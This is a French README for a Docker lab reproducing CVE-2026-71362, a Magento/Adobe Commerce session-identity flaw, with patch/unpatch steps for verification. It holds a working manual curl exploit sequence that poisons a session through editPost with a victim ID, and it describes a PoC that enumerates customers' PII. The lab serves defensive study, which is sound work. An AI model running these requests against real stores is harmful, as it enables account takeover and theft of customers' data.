CVE-2026-71362 — Lab de basculement d'identité de session client Magento / Adobe Commerce

Un lab Docker autonome, en une seule commande, qui reproduit CVE-2026-71362 de bout en bout et vous permet de vérifier le correctif d'Adobe, afin que les défenseurs, chercheurs et étudiants puissent étudier une véritable primitive de prise de contrôle de compte sur une boutique jetable.

⚠️ Usage autorisé uniquement

Ce laboratoire existe pour reproduire une vulnérabilité publique et corrigée à des fins de recherche défensive et de formation. Ne l'utilisez que contre la boutique jetable qu'il construit. Ne l'utilisez pas contre une instance Magento/Adobe Commerce que vous ne possédez pas ou pour laquelle vous n'avez pas d'autorisation écrite explicite de test. Vous êtes responsable du respect de la législation applicable.

Ce qu'est le bug (version en 30 secondes)

Magento\Customer\Controller\Account\Edit::execute() transmet les customer_form_data brutes, contrôlées par l'attaquant, laissées dans la session par un editPost échoué, à DataObjectHelper::populateWithArray(), qui copie chaque clé correspondante sur l'objet client — y compris id. L'objet est ensuite réécrit avec Session::setCustomerData() → setCustomerId($object->getId()), et comme Customer\Model\Session::getId() retourne simplement getCustomerId(), écraser customer_id seul fait que isLoggedIn() retourne true en tant que victime. Aucune vérification de mot de passe, de jeton ou de propriété. Un attaquant ne disposant que d'un compte jetable auto-enregistré peut relier sa session à n'importe quel identifiant client et lire les informations personnelles (PII), les commandes, les adresses et les jetons de paiement stockés de ce compte.

Analyse complète : docs/ROOTCAUSE.md. Règles de détection et WAF : docs/DETECTION.md.

attacker registers ──► POST /customer/account/editPost  (change_email=1,
   (own account)        current_password=wrong, id=<VICTIM>)  ─► exception ─►
                        session.customer_form_data = {... id: <VICTIM> ...}
                              │
                              ▼
                        GET /customer/account/edit
                        populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
                        setCustomerData() ─► setCustomerId(VICTIM)
                              │
                              ▼
   attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
   order history, address book, section/load) ─► account takeover.

Prérequis

• Docker + Docker Compose v2
• ~6 Go de RAM libres pour les conteneurs, ~5 Go d'espace disque
• Python 3 (uniquement pour exécuter le PoC) — pip install -r exploit/requirements.txt

Le build récupère Magento Open Source depuis des sources publiques ; aucune clé Adobe Marketplace n'est requise.

Démarrage rapide

git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab

make up          # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait        # blocks until the storefront returns HTTP 200
make exploit     # runs the PoC

Boutique : http://127.0.0.1:8080/ · Admin : http://127.0.0.1:8080/admin (admin / Admin123!). Modifiez l'hôte/le port dans .env (voir .env.example) — la valeur doit correspondre à l'URL que vous consultez, car Magento lie son cookie de session à l'URL de base de la boutique.

Résultat attendu du PoC (vulnérable)

[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM… Target  <victim…@lab.test>
...
  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
      every enumerated account's PII with only self-registration.

Démontrer le correctif (contrôle négatif A/B/A)

make patch      # apply Adobe's official APSB26-92 Edit.php fix
make exploit    #   -> NOT exploited (session identity unchanged)

make unpatch    # restore the vulnerable file
make exploit    #   -> ACCOUNT TAKEOVER again

make patch insère patch/Edit.patched.php — la modification exacte en amont issue de patch/official-APSB26-92-module-customer.patch. Activer/désactiver uniquement ce fichier est l'oracle qui prouve que le bug est précisément ce fragment.

Reproduction manuelle (sans Python)

# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'

# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
  --data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
  --data-urlencode lastname=Attacker --data-urlencode [email protected] \
  --data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'

# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
  --data-urlencode form_key=<FK2> --data-urlencode id=1 \
  --data-urlencode change_email=1 --data-urlencode current_password=wrong \
  --data-urlencode [email protected]

# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'

Remédiation (boutiques réelles)

Appliquez le correctif isolé APSB26-92 d'août 2026 pour votre branche (24Xp-2026-08-001-CE). Adobe met à disposition le registre des correctifs et les diffs bruts sans identifiants à l'adresse https://repo.magento.com/patch/patch-registry.json. Le correctif n'est pas sur GitHub public — aucun package Composer ni tag git n'a été publié pour lui, donc composer update ne le récupérera pas.

Arborescence

docker-compose.yml   nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh    first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py       the PoC + PII-enumeration oracle
scripts/patch.sh     apply Adobe's official fix        scripts/unpatch.sh  restore vulnerable
patch/               official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md    code-level walkthrough            docs/DETECTION.md   WAF + forensics

Dépannage

• Le PoC affiche « still installing » — le premier démarrage compile Magento ; exécutez make logs et attendez Install complete, puis make wait.
• Tout renvoie des 500 juste après l'installation — une course aux permissions sur generated/ ; lancez make shell puis php bin/magento cache:flush (l'entrypoint gère normalement cela).
• Problèmes de cookie/CSRF — vous accédez à un hôte différent de l'URL de base de la boutique. Conservez MAGENTO_HOST/HOST_PORT dans .env égaux à l'URL que vous (et TARGET) utilisez.

Références

• Adobe APSB26-92 · NVD CVE-2026-71362
• Sansec — Adobe corrige la prise de contrôle critique de compte Magento (APSB26-92)
• Chercheur crédité : 0x0.eth

Licence

MIT — voir LICENSE. Fourni à des fins éducatives et de test autorisé, sans aucune garantie.